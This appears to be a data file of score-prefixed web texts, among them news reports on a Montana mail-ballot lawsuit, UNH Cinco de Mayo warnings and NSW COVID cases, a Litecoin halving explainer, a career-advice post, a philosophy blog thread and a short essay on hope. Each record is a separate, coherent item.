can only reach one conclusion: Trump is the wrong man for the job." Copyright 2020 NPR. To see more, visit https://www.npr.org. Tags NPR News Facebook Twitter LinkedIn Email Ron Elving Ron Elving is Senior Editor and Correspondent on the Washington Desk for NPR News, where he is frequently heard as a news analyst and writes regularly for NPR.org.
0.999824	This archived news story is available only for your personal, non-commercial use. Information in the story may be outdated or superseded by additional information. Reading or replaying the story in its archived form does not constitute a republication of the story. DURHAM, N.H. (AP) — University of New Hampshire President Mark Huddleston is again warning students to celebrate Cinco de Mayo safely. Foster's Daily Democrat reports that last May 5, thousands of students flooded downtown Durham. Police worked all day to disperse the crowds, which temporarily blocked buses trying to get local middle school students home. Officials are concerned that this year could be worse because the holiday comes one day after classes end and before the start of final exams. Huddleston went door-to-door with UNH Police Chief Paul Dean on Friday to urge students living off campus to act responsibly. In an open letter to students, he warned there would be immediate and serious consequences for irresponsible behavior, including suspension or expulsion. "I want to make my expectations for your behavior clear," wrote Huddleston, who will host a campus-wide cookout on Tuesday afternoon. "Celebrations will be respectful and safe. They will not impede the day-to-day lives of our fellow community members and neighbors in the town of Durham." In addition to the university's efforts, Oyster River Middle School has developed an alternative bus route so students can avoid the crowds, and police are reminding landlords to tell tenants about rules regarding large gatherings. Officers from several other communities and state police will be in town, along with state liquor enforcement officers. Cinco de Mayo marks an 1862 battle victory by Mexican troops. Copyright © The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. × The Associated Press More stories you may be interested in Nevada court sides with gunmakers in Las Vegas shooting suit Suspect's parents charged in Michigan school shooting Maxwell's lawyers challenge ex-Epstein employee's account of meeting accuser Most Viewed Game Center: No. 17 Utah vs. No. 10 Oregon Omicron COVID-19 variant discovered in Utah Parents express frustration to school board over blackface incident, diversity assembly Southern Utah woman's children thank jury for finding their dad guilty in her murder Traffic advisory: 11-mile backup in Virgin River Gorge after 6-vehicle crash Suspect's parents charged in Michigan school shooting Have You Seen This? This rabbit is the sneakiest sneak that ever sneaked Here's what will happen in Utah if Roe v. Wade is overturned Did West Valley man commit murder? Police still investigating South Jordan family warns of RSV symptoms after baby ends up in NICU SIGN UP FOR THE KSL.COM NEWSLETTER Catch up on the top news and features from KSL.com, sent weekly. Subscribe By subscribing, you acknowledge and agree to KSL.com's Terms of Use and Privacy Policy. KSL Weather Forecast Loading... Mobile Apps \| Advertise \| Feedback \| Contact Us \| Careers with KSL.com Terms of use \| Privacy Statement \| DMCA Notice \| Do Not Sell My Data \| EEO Public File Report \| KSL-TV FCC Public File \| KSL FM Radio FCC Public File \| KSL AM Radio FCC Public File \| Closed Captioning Assistance © 2021 KSL.com \| KSL Broadcasting Salt Lake City UT \| Site hosted & managed by Deseret Digital Media - a Deseret Media Company
0.984363	Quick links... News Weather Community Coronavirus Sports Positively Montana Two Americas One Class at a Time Pet of the Week Workers Wanted Christmas Shoppe Stream Q2 News 1 weather alerts 1 closings/delays Election 2020 Actions Facebook Tweet Email Trump, state and nat'l GOP sue to stop all-mail ballots in MT Trump, state and nat'l GOP sue to stop all-mail ballots in MT By: Mike Dennison Posted at 10:30 AM, Sep 02, 2020 and last updated 2020-09-06 06:45:11-04 President Donald Trump's campaign, national Republicans and the Montana Republican Party filed suit Wednesday to overturn Gov. Steve Bullock's August order allowing Montana counties to conduct the Nov. 3 election with mail ballots, calling it a "brazen power grab" meant to benefit his campaign for U.S. Senate. The suit, filed in federal court in Helena, asked U.S. District Judge Dana Christensen to block Bullock's Aug. 6 order and declare it unconstitutional. It said Bullock illegally usurped the power of the Montana Legislature, which has the sole power to determine election laws, and that "rushing to automatically mail ballots to all voters" invites fraud and "illegitimate" voting that unconstitutionally dilutes the votes of legitimate voters. Bullock, who is challenging U.S. Sen. Steve Daines, R-Mont., in one of the top contested Senate races in the nation, called the lawsuit "part of a pattern of pattern of lawsuits across the country by Republican party operatives to limit access to voting during the pandemic." The governor said voting by mail is "secure, and was requested by a bipartisan coalition of Montana election officials seeking to reduce the risk of COVID-19 and keep Montanans safe and healthy." The lawsuit came just two days before 46 of Montana's 56 counties officially submitted plans to use mail ballots for the Nov. 3 general election, which has several significant statewide contests expected to be close. In addition to deciding the U.S. Senate race, Montana voters will choose a new governor, U.S. congressperson, attorney general, state auditor and secretary of state, and decide whether to legalize recreational marijuana. A spokeswoman for the Daines campaign, echoing claims in the lawsuit, said Bullock made the mail-ballot order to benefit himself in the election. "Gov. Bullock has obvious personal interest in changing election laws in Montana - he is the last person who should be making unilateral decisions that put into question the integrity of Montana's elections," said Julia Doyle. Bullock issued the order under his emergency powers during the coronavirus pandemic, and at the request of Montana county election officials, many of whom said they feared they could not safely or efficiently conduct the election with traditional polling stations. The order gave counties the option to conduct the election by mail or with polling stations on Election Day. In response to the lawsuit, Bullock also noted that Republican legislative leaders supported his order to conduct the June 3 primary election with all-mail ballots, and that Covid-19 outbreaks in the state have worsened since then. That election saw a record turnout, surpassing the old primary record by 90,000 votes cast. Yet House Speaker Greg Hertz, R-Polson, told MTN News that circumstances have changed since then -- businesses and schools are now open and the state's medical system has not been overwhelmed by the pandemic. "Why can't we vote as we normally would in a general election?" he asked. "Why are we still under a state of emergency when almost all businesses are open along with schools? ... Those are questions the governor needs to answer." Hertz and Republican Senate President Scott Sales of Bozeman filed a motion Friday to become a party in the case. National Democratic groups also sought to join Bullock as a defendant, and be parties in the case. Under Bullock's order, the 46 counties that have chosen mail ballots would conduct the election much like they did in the primary -- by mailing ballots to all registered voters four weeks before Election Day and allowing voters to mail them back or drop them off in person, at the county election offices and secure drop boxes at various locales. Citizens also could continue to register and vote right up to 8 p.m. on Election Day -- just as they could already, under state law. The lawsuit, filed by the Trump campaign, the Republican National Committee, the National Republican Senatorial Committee and the Montana Republican Central Committee, claimed that Democrats have long favored all-mail ballots and that Bullock issued the order to achieve this goal and help his election. “What is most jarring about the governor’s actions, however, is that he is running for U.S. Senate as a Democrat in the upcoming election, and it is considered one of the most competitive races this cycle," the suit said. "That means the governor is unilaterally changing the rules at the last minute to (in the eyes of his own party) sway the election in his own favor.” The suit said Bullock improperly used his power under a state of emergency to change election laws, without consent of the Legislature The state's emergency power law allows the governor to change regulatory laws or the conduct of state business, in response to the emergency, and laws governing elections do not fall under those categories, the suit said. Copyright 2020 Scripps Media, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.
0.956983	As part of Litecoin's coin issuance, miners are rewarded a certain amount of litecoins whenever a block is produced (approximately every 2.5 minutes). When Litecoin first started, 50 litecoins per block were given as a reward to miners. After every 840,000 blocks are mined (approximately every 4 years), the block reward halves and will keep on halving until the block reward per block becomes 0 (approximately by year 2142). As of now, the block reward is 12.5 coins per block and will decrease to 6.25 coins per block post halving. Why was this done? Litecoin was designed as a deflationary currency. Like gold, the premise is that over time, the issuance of litecoins will decrease and thus become scarcer over time. As litecoins become scarcer and if demand for them increases over time, Litecoin can be used as a hedge against inflation as the price, guided by price equilibrium is bound to increase. On the flip side, fiat currencies (like the US dollar), inflate over time as its monetary supply increases, leading to a decrease in purchasing power. This is known as monetary debasement by inflation. A simple example would be to compare housing prices decades ago to now and you'll notice that they've increased over time! Predictable monetary supply Since we know Litecoin's issuance over time, people can rely on programmed/controlled supply. This is helpful to understand what the current inflation rate of Litecoin is, what the future inflation rate will be at a specific point in time, how many litecoins are in circulation and how many remain left to be mined. Who controls the issuance of Litecoin? The network itself controls the issuance of litecoins, derived by consensus through all Litecoin participants. Ever since Litecoin was first designed, the following consensus rules exist to this day: 84,000,000 litecoins to ever be produced Target of 2.5-minute block intervals Halving event occuring every 840,000 blocks (approximately every 4 years) Block reward which starts at 50 and halves continually every halving event until it reaches 0 (approximately by year 2142) Any change to these parameters requires all Litecoin participants to agree by consensus to approve the change. Past halving event dates The first halving event occurred on the 25th of August, 2015 at block height 840,000. The second halving event occurred on the 5th of August, 2019 at block height ‭1,680,000‬. Past halving price performance It is always a debate on what Litecoin will do in terms of pricing for a halving event. Some people believe that the halving is already priced in by the market and thus there's no expectation for the price to do anything. Others believe that due to price equilibrium, a halving of supply should cause an increase in price if demand for litecoins is equal or greater than what it was before the halving event. Below is a chart showing past price performance of the two halving events:
0.976424	In my 30 years of work, women have made great strides in the workplace, and in some fields there are not many glass ceilings that still need to be shattered. Women still lag in pay, promotion and leadership of many industries, but they have fought difficult battles and ascended to new heights as a result of their tenacity. The picture is not perfect, but there has been much to celebrate in recent years. Enter COVID-19. Although all of us have faced massive challenges during this crisis, sometimes crisis begets opportunity. Some professionals have been able to act on those opportunities and seize a chance to prove themselves during difficult times. For others, taking on a new challenge seems unwise or simply impossible right now. Career momentum has stalled. In my work coaching professionals, whether women or men, I have heard so many people express angst over what this time of crisis means for their careers. Women especially may feel pressure to continue growth and advancement, but all of us are prone to worry, stress and distraction in times like these. Should we embrace opportunity, whatever barriers we face? Or is it OK to put career progress on the back burner while the world is upside down? There is no single right answer. Career paths during a crisis Evidence suggests that on top of the public health worries, isolation and other challenges of the pandemic, many people are concerned about their careers. Especially women. While it would be nice to think that we have evolved to a place where the burdens of managing home schooling, preparing more meals at home and other pandemic-era challenges fall equally on the shoulders of men and women, in many homes, that’s just not the case. And the inequity lands even harder in the laps of women of color and single mothers, according to findings from LeanIn.org. The effect on careers goes well beyond stress and domestic discord. Data suggest that women with children are less likely to feel they have been productive during the pandemic than men; they are less likely to think remote work during this time has been good for their careers; and they are less likely to have gotten a promotion, leadership responsibilities or a pay raise. The long-term consequences could be substantial for women in the workplace. I want to acknowledge that many men out there are also struggling. They may feel compelled to push through, particularly given stereotypical roles and characteristics historically assigned to men. But I think promising women for whom opportunity might seem fleeting especially feel this pressure to keep laser focused on moving up the ladder. The pressure to lean in. Leaning in … in extraordinarily difficult times The book Lean In, by Sheryl Sandberg and the subsequent Lean In movement called on women to do just that to advance their careers – to seize opportunity, embrace challenges and ensure they have a seat and a voice at the table where decisions are being made. Although the concept garnered an immediate following, it also faced criticism in addition to praise, and author Sheryl Sandberg later wrote a follow-up book after the unexpected death of her husband. The follow-up was called Option B, and it adds context to her ideas, noting that life challenges sometimes make leaning in difficult if not impossible. Leaning might seem like the way to go for driven professionals, especially those who understand the historical context of the uphill battle being waged for women and people of color in the workforce. But great opportunities sometimes present themselves at what seems to be the worst possible time. Maybe you have a sick parent whose care demands all your spare time, and you receive a job offer that would multiply your influence but also your workload. Maybe your dream position is open, but it’s thousands of miles away, and your daughter is starting her last year of high school. Or, in this time of challenge right now, maybe you have a promotion opportunity that would land you in a job you have been striving for – but that would deprive your child of the support he needs for remote learning. Conventional wisdom might tell you: figure it out and seize the moment. Conventional wisdom might be right. But it could also be wrong. Every job is different, every career is different, and every life is different. Leaning in is great if you can do it without sacrificing what you care most about. If you can’t? It might be time to lean out. Leaning out when it’s the right choice for you Career decisions are never simple. I advocate an intentional approach rooted in what matters most to you, but even in the best of times, it can be challenging to segment your own priorities from those others might have imposed on you. Many of the women I work with are trailblazers themselves, but they also feel external pressure to pick up the mantle of progress others have made and carry it further. This can be exhilarating. But it can also be too much. If you have an opportunity right now that will move you forward but the timing is all wrong for you, should you lean into it? If you let opportunity slip through your fingers, are you wasting this moment? In a word, no. In a few more words, this might not be your time. That doesn’t mean it’s not ever going to be your time. What’s important is that you make the choice for yourself, for the right reasons and for the circumstances you are facing. Ask yourself what matters most to you and answer the question honestly, then use what you learn to map a way forward that is right for you in this moment. No decision has to be forever Driven professionals don’t always have an easy time with the idea of leaning out. But curve balls come our way sometimes, and you have to adapt if you want to keep moving forward. Sometimes that means you duck to dodge the curveball, then get right back on the path. But sometimes it means you step off the path – for the time being, at least. It also might mean rethinking your next move. Can you put a job change on hold but make a smaller adjustment to your assignments that will help you gain new skills at a reasonable pace? Can you seek a mentor who can help you spot and address gaps? Spending a little time on assessing where you are might help you see that you can continue growing without overwhelming your life. But you might also decide you just need to tread water right now, and that’s OK. We all need that sometimes. Your experience What are your thoughts on leaning in and leaning out? What would make it easier to lean out at times that it’s needed? I hope you’ll share in the comments, social media or in an email to me ([email protected]) if you’d rather keep your thoughts private. I’d love to hear from you! Last updated January 12, 2021 As an Amazon Associate I earn from qualifying purchases. Some of the links in this post are affiliate links, meaning if you click through and purchase, I’ll receive a commission at no extra cost to you. Review my advertising policies in full here.
0.999993	COVID-19 case numbers continue to fall across NSW, six days after the state started reopening social and economic activity. The state recorded 301 cases in the 24 hours to 8pm Saturday and 10 new deaths from COVID-19. The state's COVID-19 patients include 619 in hospital and 137 in intensive care. NSW reached its second target of 80 per cent adult double-dose vaccination on Friday, triggering a range of relaxed restrictions from Monday. The single-dose rate has crept up to 91.9 per cent. Read also Kindergarten, year 1 and year 12 students return to face-to-face schooling on Monday, and other years will follow on October 25. A new set of freedoms for the fully vaccinated include the return of community sport, a new home visitor limit of 20 people, the scrapping of mandatory masks in offices and bigger caps on weddings and funerals. Pub patrons will also be allowed to drink standing up and dance. /images/transform/v1/crop/frm/dNmjTCUWGCi8W4CsChEdGZ/f926ee6b-1d3e-4343-88f0-e1a5704d22c8.jpg/r2_52_1014_624_w1200_h678_fmax.jpg October 17 2021 - 11:23AM NSW COVID case numbers, Sunday, October 17 Michael Parris Local News COVID-19 case numbers continue to fall across NSW, six days after the state started reopening social and economic activity. The state recorded 301 cases in the 24 hours to 8pm Saturday and 10 new deaths from COVID-19. The state's COVID-19 patients include 619 in hospital and 137 in intensive care. NSW reached its second target of 80 per cent adult double-dose vaccination on Friday, triggering a range of relaxed restrictions from Monday. The single-dose rate has crept up to 91.9 per cent. Read also Counsellors needed as NSW students return Government secures breakthrough COVID treatments as restrictions ease Why is there so much vaccine hesitancy in the NT's remote Aboriginal population? Kindergarten, year 1 and year 12 students return to face-to-face schooling on Monday, and other years will follow on October 25. A new set of freedoms for the fully vaccinated include the return of community sport, a new home visitor limit of 20 people, the scrapping of mandatory masks in offices and bigger caps on weddings and funerals.
0.522951	The Singapore Universities Mission Oxygen (SUMO) drive initiated by EEE alumnus Mr Rahul Singh is a crowdfunding campaign to source oxygen concentrators for India from overseas suppliers. Rahul shares what inspired him and the challenges his team faced. By Sadia Roohi Rahul (3rd from left) and members of his SUMO team. As India fights a mammoth COVID-19 crisis with medical oxygen in short supply, an alumni group from Singapore's universities has launched a global crowdfunding campaign to source oxygen concentrators for India from overseas suppliers. Initiated by Mr Rahul Singh, an alumnus from the School of Electrical and Electronic Engineering (EEE)’s Class of 2010, the Singapore Universities Mission Oxygen (SUMO) drive has raised US$150,000 for 180 oxygen concentrators. “This is truly a humanitarian crisis of epic proportions,” he said. “As someone who has spent half his life in India and half in Singapore, I witnessed many distressed calls among friends and colleagues who were in dire need of oxygen and other medical supplies. There was a general feeling of helplessness among most of us especially those watching from overseas.” This prompted Rahul to act. In just 12 hours, he assembled a globally diverse team of alumni spread across the Philippines, India, and Singapore, to manage an end-to-end aid process from procurement to logistics to last mile deployment in Indian towns and villages. Rahul and his team faced a huge challenge in procuring medical equipment due to the extremely high global demand. “We had a war room like situation dynamically managing global supplies and fast-tracking payments while having the constant anxiety of spending more than the donations received,” he shared. With donations streaming in and oxygen concentrators being purchased, shipping the items to India was another challenge as there were very limited direct flights to India. “We had to fish for capacity across various logistics companies. Upon reaching India, expediting custom clearance required us to engage alumni who were working in the relevant government organisations,” he added. Beneficiaries in India with the donated oxygen concentrators. The oxygen concentrators will be given to two organisations, Community Empowerment Lab (CEL) and Mission Mercy, who are working on the ground to help COVID-19 patients gain access to medical oxygen. CEL’s co-founder, School of Computer Science and Engineering alumna Ms Aarti Kumar (Class of 2000), is grateful to the alumni group for initiating the SUMO campaign. She said: “I am overwhelmed by the support and am proud to be a member of this amazing alumni community that put together its collective experience, skills and networks to successfully launch and conduct such an impactful initiative,” she said. She added that through the efforts of SUMO, she has experienced the profound difference that people can make to the lives of others when those who can, come together to support communities in need.
0.999999	If you could impart to the general public a handful of insights, in or about philosophy, what would they be? A few ideas that spring to mind: 1) Philosophy (and that includes ethics!) isn't just a matter of opinion. Some opinions are better justified, or more reasonable, than others. We should aim to hold those judgments that are best supported by reasons. 2) Philosophy is a form of inquiry, not rhetoric or apologetics. One should be open to the possibility of changing one's mind, and - ideally - view opposing arguments as opportunities for learning, rather than threats to be dismissed at all costs. Corollary: The aim of argument is not to convince others to your point of view regardless of its true merits, but rather to adduce rational evidence that the view is most likely correct, i.e. true. 3) The idea of objective truth is nothing to be scared of, and shouldn't lead to dogmatism so long as we recognize our own fallibility. Just because the truth is out there, doesn't mean we have a perfect grasp of it! If anything, it's relativism that leads to dogmatism, since the relativist holds that merely believing something suffices to make it "true for you". That would mean that you cannot possibly be wrong, so self-doubt or rational reflection is rendered superfluous. Corollary: those who take seriously the dictum 'live and let live' should understand tolerance to be an objective value. Otherwise, intolerant authoritarians aren't really doing anything wrong. They're merely going against your arbitrary liberal preferences. "No big deal." 4) Moral facts are not reducible to the dictates of any authority. If God, society, and the individual, all approved of torturing animals for fun, that wouldn't suffice to make it right. This immediately refutes all those idiotic theories (e.g. Divine Command theory, cultural relativism, egoistic subjectivism) which reduce morality to an arbitrary subset of preferences. (What really matters is minimizing harm and promoting flourishing.) Corollary 1: the widespread belief in a connection between religion and morality is rank stupidity. (And the idea that God could assign your life a "meaning" is no less silly.) Corollary 2: Just because you find something "icky" doesn't mean it's immoral. 5) We can provide non-spooky natural foundations for morality. Presumably facts about welfare, i.e. what harms or benefits an individual, are naturalistic. And, just as plausibly, the moral facts are entailed by the facts about everyone's welfare (including sentient non-humans). It's axiomatic that it's good to benefit people, bad to harm them, etc. Nothing especially mysterious or supernatural is going on here. 6) God probably doesn't exist. The God Hypothesis doesn't fit well with observed reality. (The only argument I've ever come across that warrants much respect is the cosmological fine-tuning argument. The others are just shockingly bad.) No, we can't prove the boogeyman's non-existence with absolute certainty, but nor do we need to. And no, religious hallucinations aren't good evidence. Incidentally, sending honest non-believers to hell is evil. It's scary how many people exhibit moral blindness with respect to this belief. Worshipping an evil deity reflects poorly on one's own moral compass, I should think. 7) Time doesn't move. 8) Either this sentence is false or self-referential paradoxes are great fun. 9) Taxation is not (necessarily) theft. The common right-wing slogan rests on superficial and sloppy thinking. 10) Any form of freedom worth having requires more than mere non-interference. Recognizing the political goal of Enabling Humanity is independent of any particular suggestions for how to achieve it, but on the latter point I think there's a great deal to be said in favour of an unconditional basic income. Categories: philosophy metaphilosophy Labels: philosophy Posted by Richard Y Chappell at 1:49 am Email ThisBlogThis!Share to TwitterShare to FacebookShare to Pinterest Related Posts by Categories 20 comments: R.S. Ladwig 2:29 am, April 06, 2006 "The aim of argument is not to convince others to your point of view regardless of its true merits, but rather to adduce rational evidence that the view is most likely correct, i.e. true." Aren't you trying to convince me that this statement is true? Also I'd like to know how an objective standard of morality can exist apart from the existance of God. ReplyDelete Replies Unknown 4:13 am, May 16, 2017 There are many ethical systems which claim to establish morality as grounded in objective fact. These theories are studied under the branch of philosophy known as normative ethics. While there are many to look into, a particular favorite of my own is what is known as Kantian deontological ethics. A system of ethics which is grounded in, as Kant would say, "Reason alone". This meaning, Kantian ethics seeks to establish morality as objective without appeals to God. However, an interesting point must be made that Kant, for most of his life, bleieved in the existence of a God. He simply believed objective morality could not be solidly grounded upon appeals to God. Delete Replies Reply Reply Richard Y Chappell 3:21 am, April 06, 2006 Bob, didn't point #5 fulfill your desire? (Of course, since morality couldn't possibly be objective due to the existence of God, your question is really just how there could be an objective standard of morality at all. Either the objectivity stems from reason, or there is no objectivity at all. God doesn't even get a look in.) "Aren't you trying to convince me that this statement is true?" Not regardless of its merits. I want others to have true beliefs, and believe that my arguments have true conclusions, and for this reason (derivatively) want others to believe my conclusions. But I don't have any intrinsic (non-derivative) desire that others believe my conclusions. In particular, if it turns out they're false, then I don't want others (or myself!) to believe them. BTW, I should add another point: 11) Religion is wrongly credited with answering the big ("Why") questions. Religion just makes stuff up. Anyone and their magic 8-ball can do that. If you mean to inquire seriously into such questions then you're doing philosophy, not religion. Give credit where it's due. ReplyDelete Replies Reply Genius 5:43 am, April 06, 2006 in general I agree with the less presumptuous versions. But I think you have a bit of difficulty separating your self justifying bias and what you can justify with logic. On the whole this just leaves you overshooting the mark a bit. > "but rather to adduce rational evidence that the view is most likely correct, i.e. true." This might need more investigation as to how it actually works. Is it an adverserial system until the end where you evaluate a winner? Or do you shed your bias (or try to compensate for it) upon entering the debate? or something else? ReplyDelete Replies Reply Peter Thurley 7:46 am, April 06, 2006 Richard, I must admit I am disappointed with this list. I was hoping for an apologetic for philosophy, not merely a list of ten mostly philosophical things that you happen to hold. I think the title of thepost is perhaps misleading. Rather than "10 Things Everyone Should Know About Philosophy" it might be better presented as "10 Things I Have Come to Accept By Way of Philosophy" With the exception of point one and two, which are properly 'about' philosophy, the other eight are philosophical claims. You know there is a difference between some set of words being 'about' some thing and some set of words being an instantiation of some thing. ReplyDelete Replies Reply Richard Y Chappell 9:56 am, April 06, 2006 That's why the introduction clarified it as "in or about philosophy". (Besides which, a list of "facts about history" could be expected to include historical facts, not merely meta-historical ones about the study of the subject matter. So I don't think first-order philosophical facts are necessarily excluded from the denotation of "facts about philosophy".) In any case, I invite more suggestions for both meta-philosophical and first-order philosophical theses. Pick whichever takes your fancy; I happen to be interested in both. ReplyDelete Replies Reply MH 2:39 pm, April 06, 2006 Shouldn't #5 have some sort of caveat like "some mostly reputable philosophers think", or "it has not yet been conclusively determined this it is false that", or "it's worth arguing about whether" or something? I mean, it's hardly a definite or well established (or even mostly uncontroversial) sort of claim like the others are. ReplyDelete Replies Reply Genius 4:32 pm, April 06, 2006 Dr P - depends on how you read any of them (almost all of them). "irrefutable" is that you CAN have a logical non spooky explination for morality - it might seem a bit arbitrary but it can be done. Nor proven is "there IS NO other moral foundation". Having said that, I find the concept of free will a little "spooky"... ReplyDelete Replies Reply R.S. Ladwig 5:18 pm, April 06, 2006 Richard- It seems to me that your making a lot of arbitrary dogmatic statements ex: "Of course, since morality couldn't possibly be objective due to the existence of God, your question is really just how there could be an objective standard of morality at all. Either the objectivity stems from reason, or there is no objectivity at all. God doesn't even get a look in" "Couldn't possibly"? That's a pretty sweeping rejection of God as the arbiter of justice but you have based it on nothing. I assume you refer to the common "Euthyphro problem"? You also said: "Religion is wrongly credited with answering the big ("Why") questions. Religion just makes stuff up. Anyone and their magic 8-ball can do that. If you mean to inquire seriously into such questions then you're doing philosophy, not religion. Give credit where it's due." I have to be blunt that is flat out arrogant. Frankly I think by making such an unsupported dogmatic statement you are doing the very thing you accuse religion of, namely just "making stuff up". Religion (particularly Judeao-Christianity) is based upon God revealing Himself to man throughout history and the Bible is a recording of God's inspired word, it claims to be nothing short unlike Greek Mythology which tried to explain natural phenomena with god of the gaps arguments. To be short I think you have a decent grasp of philosophical concepts but you need to give a lot more support to your arguments rather than just making sweeping dogmatic statements. ReplyDelete Replies Reply Don Jr. 8:56 pm, April 06, 2006 Nice post (at least point 1 through 4). I did find this portion somewhat humorous though: "Moral facts are not reducible to the dictates of any authority. . . . What really matters [dictates Richard, authoritatively] is minimizing harm and promoting flourishing." ReplyDelete Replies Reply Cé S. 9:05 pm, April 06, 2006 Great! I made a post based on it. ReplyDelete Replies Reply Anonymous 9:50 pm, April 06, 2006 Objective knowledge? Perhaps an example of same would validate your contention? As hard as I try, I can't think of a singular instance. Ethics has a "natural foundation?" If "natural" is used here in juxtaposition to "supernatural," I agree. Any other context requires explanation. James Q. Wilson in "The Moral Sense" captures my own ethical conception quite well. Starting with Adam Smith's theory of moral sentiments, and adding insights from evolutionary psychology, Wilson categorizes a "naturalistic ethic" as comprizing: (1) fairness, (2) empathy, (3) self-control, and (4) duty. These four a posteriori constructs are simply our idealization of what we value morally. His diagnosis of the modern predicament is that we get (1) and (2) pretty well, but (3) and (4) have been largely lost. Duty, of course, is not a deontological category (as it is with Kant), but a filial, familial, and social construct for ideal relationships. Self-control has largely been abrogated in favor of the notion "to express one's self honestly and without inhibition," a Sixties' notion that seems to persist. Wilson's claim is that a healthy and robust ethic demands all four ideals operate synergistically, not just fairness and empathy. If this line of reasoning is what you mean by "natural foundation," perhaps a better way of expressing it is by a "naturalistic ethic," the nature of which is based on "human nature," and human nature being what scientific materialism establishes, rather than some metaphysical construct by armchair philosophers. ReplyDelete Replies Reply Richard Y Chappell 11:13 pm, April 06, 2006 Don, of course I do not think that the moral facts are reducible to whatever I might say. (I hope to accurately report what is true quite independently of me and my opinions. This is like my response to Bob's first comment.) But yeah, such an interpretation would be humourously ironic. Bob, I offered links which spell out the reasons behind my positions. (At least for the first ten. I lack the patience to argue with anyone so gullible as to place absolute certainty in some book that their minister tells them is "revelation".) TGS, I merely mean "not supernatural". (I have a post on human nature which concludes that "appealing to human nature as the foundation of morality is either fallacious or redundant.") ReplyDelete Replies Reply Anonymous 2:37 am, April 07, 2006 Make another list which is built only of statements virtually all (analytic) philosophers would accept. it would be more interesting. curiously the list roughly becomes more controversial as it goes on. BTW it is possible to believe that god assigns your life a meaning without accepting divine command theory or a link of any sort at all between the will of God and morality. Just as someone might say that discovering mathematics has given their life a meaning even if it hasn't changed their values. One might believe that God gives happiness to those who believe in him, happiness is good and meaningful, therefore you will try to make others believe in god. ReplyDelete Replies Reply Anonymous 11:23 pm, April 07, 2006 Richard, On the whole, I think the effort was in a positive direction--though, I think you trivialize the positions you think not worth any serious philosophical consideration or just irrational. My sense is that people are (or at least, very often are patently irrational [i.e. buying bottled water, infomercials, advertisements]), and just to imply that because these statements make sense and the ones you refute and reject don't is somewhat pompous (particularly if there is a good counter-argument, which I will not attempt to provide). Even if it is true that you're right, I certainly imagine, or at least hope, that there is a more tactful way of voicing those sentiments (this is not about PC). On your first corrollary to #4, I am not sure that this statement has the kind of force, or truth, that you want it to have. History has proven all too often that people will believe in religion (or some religious ideology) and in God (or some variant thereof) as a source of their religion. To just trying and throw it out, even by logical argument, seems too quick and somewhat dogmatic, and reveal a kind of insensitivity and close analysis (consider: what is the cause of the Islamic/West conflict? Is it because fundamentalists Muslims are ideologically blind and savage) that is to be expected of a serious argument. ReplyDelete Replies Reply Genius 12:26 am, April 08, 2006 1) Philosophy isn't just a matter of opinion. Some opinions are better justified, or more reasonable, than others. We should aim to hold those judgments that are best supported by reasons. 2) Therefore, one should change one's mind if the evidence is against you. (But that doesn’t mean you shouldn’t argue your point until it is refuted). 3) The idea of objective truth is nothing to be scared of. Rationally applied objective truth doesn’t result in the arbitrary rules that people usually fear. In most cases arbitrary rules reflect a lack of understanding of all the side effects. E.g. utilitarianism properly applied includes allowances for long term effects and psychological effects so you would not run around killing people for some obscure gain. 4) Moral facts are a matter of opinion. a) When someone like Richard talks about morals he may well mean a different thing to you b) They will probably try to push his view on you by the very nature of the meme. c) However, it is not hopless, in any community you can get a general consensus on what they are, or what definitions will optimize the system. At very least we can eliminate some ideas. 5) We CAN provide non-spooky natural foundations for morality. 6) Most God Hypothesis doesn’t fit well with observed reality (rather like most non-god hypothesis). 6a) To a concequentialist - following someone or worshiping them doesn’t mean you share their moral position unless you provide concequential assistance towards their aims - in which case you share their moral position to the extent to which you achieve them. Or where in their plan has a moral value relitive to an alternative plan. 7) Time doesn't move. 8) Either this sentence is false or self-referential paradoxes are great fun. 9) Taxation is not (necessarily) theft - or theft becomes a fairly meaningless term. 10) Optimal freedom requires more than mere non-interference. ReplyDelete Replies Reply Stephen 3:28 pm, April 08, 2006 not merely a list of ten mostly philosophical things that you happen to hold. otherwise, philosophy has refuted the pragmatics of AA? An interesting thesis, that observable facts don't count and that logic has disproved reality. ReplyDelete Replies Reply Anonymous 7:39 pm, April 08, 2006 "An interesting thesis, that observable facts don't count and that logic has disproved reality." please explain. ReplyDelete Replies Reply pdf23ds 8:58 pm, April 17, 2006 I'm curious. Is it your impression that these ten items are widely accepted in philosophy? That they're majority positions? ReplyDelete Replies Reply Richard Y Chappell 9:45 pm, April 17, 2006 I'd say the first four are uncontroversial, #7 is controversial, and the rest should be accepted by most (though I guess non-cognitivists would reject #5). My goals here are perhaps better explained in the follow-up post: Commonplace Confusions. ReplyDelete Replies Reply Add comment Load more... Visitors: check my comments policy first. Non-Blogger users: If the comment form isn't working for you, email me your comment and I can post it on your behalf. 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0.999418	Artisan Athletes, based in Sydney, Australia, has released a new online program to help dancers improve their artistic performance by improving their athletic performance. They create digital workout programs designed specifically for dancers. More details can be found at: https://www.artisanathletes.com Their new programs target a variety of different goals. Improved stamina, increased strength, and explosive power are just some of the focuses. In order to maximize the time in the studio, there has to be work done outside of the studio first. These programs introduce and teach dancers how to cross train. Cross training is the practice of varying the style of one’s workout, to incorporate other disciplines or sports. This type of training can result in significant improvements across the board. Muscles adapt to stress over time and the same training decreases in effectiveness. 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0.946418	COVID-19 is here. The media is constantly reporting on the dangers we face and warning us to practice social distancing. We are told to be cautious. There are constant conversations at social gatherings, in passing, and within relationships about it. Is it as bad as they say? Is it being hyped for political reasons? Is it safe to go to the grocery store, go in public, to live our lives in any ordinary way? Lives are being negatively impacted, businesses are threatened. People who almost never speak about personal views will at least mumble under their breath about this horror show, that is presenting itself to us daily. How do we find hope in the face of such a worldwide threat? In Greek mythology, Pandora was the first human woman created by the gods. She was given many gifts, including a box that she was told not to open under any circumstances. One day, she indulged her curiosity and opened the box to see what was inside. When she lifted the top, she released all the ills in the world: hate, revenge, prejudice, destruction, disease and pain. She quickly slammed the top shut, but it was too late. The damage was done. According to the myth, one trait did not escape. Pandora managed to hold on to hope. The Greeks used this story to explain why bad things happen in the world, and to explain how people can get through the hard times. Hope allows people to weather the ills of the world. It's something we all need in our lives. What is Hope? Hope is a desire or a longing for a particular event, thing or situation that one considers possible. It is not wishful thinking or a fantasy. Hope is based in reality and possibility. It is to believe change is possible. Hope is important. It creates motivation and energy to work toward change and accomplishment. People who have true hope are happier, less depressed and anxious. It is true that all our hopes do not come to fruition or bring the changes we desire, but that does not mean we should stop. We need to ground our hope in reality and real possibility. For 